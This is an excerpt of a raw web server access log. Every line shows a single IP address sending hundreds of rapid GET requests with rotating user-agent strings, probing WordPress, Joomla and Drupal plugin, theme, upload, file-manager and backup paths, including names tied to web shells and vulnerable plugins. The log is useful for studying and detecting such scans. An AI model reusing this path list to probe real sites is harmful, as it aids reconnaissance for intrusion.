rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:51 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:51 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:52 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:42:52 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:42:52 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:52 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:52 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:42:53 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:53 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:53 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:53 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:53 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:54 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:54 +0300] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:54 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:42:54 +0300] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:42:55 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:55 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:42:55 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:55 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:56 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:56 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:56 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:56 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:56 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:57 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:57 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:57 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:57 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:57 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:58 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:42:58 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:58 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:58 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:59 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:42:59 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:59 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:59 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:00 +0300] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:00 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:43:00 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:00 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:01 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:01 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:01 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:01 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:01 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:02 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:02 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:02 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:02 +0300] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:02 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:03 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:03 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:03 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:03 +0300] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:43:03 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:04 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:43:04 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:04 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:04 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:04 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:43:05 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:05 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:43:05 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:05 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:06 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:06 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:06 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:06 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:43:07 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:07 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:43:07 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:07 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:07 +0300] "GET /wp-includes/js/tinymce/plugins/paste/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:07 +0300] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:08 +0300] "GET /templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:08 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:08 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:43:09 +0300] "GET /cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:43:09 +0300] "GET /files-and-directories-in-linux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:09 +0300] "GET /filemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:43:09 +0300] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:43:09 +0300] "GET /modules/simpletest/tests/themes/test_basetheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:10 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:10 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:10 +0300] "GET /wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:10 +0300] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:43:11 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:11 +0300] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:11 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:11 +0300] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:11 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:12 +0300] "GET /wp-content/themes/Avada/includes/lib/inc/fusion-app/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:12 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:12 +0300] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:12 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:12 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:13 +0300] "GET /wp-content/themes/twentytwentyone/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:13 +0300] "GET /wp-content/uploads-webpc/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:13 +0300] "GET /wp-content/plugins/simple/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:13 +0300] "GET /wp-includes/Requests/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:14 +0300] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:14 +0300] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:14 +0300] "GET /wp-content/plugins/elementor/modules/floating-buttons/classes/render/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:43:14 +0300] "GET /wp-content/themes/twentytwentytwo/templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:15 +0300] "GET /wp-admin/css/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:15 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:15 +0300] "GET /wp-content/plugins/wp-file-manager/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:15 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:16 +0300] "GET /wp-content/plugins/elementor/assets/js/packages/editor-app-bar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:43:16 +0300] "GET /modules/mod_footer/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:16 +0300] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:16 +0300] "GET /x/ HTTP/1.1" 301 795 "-" 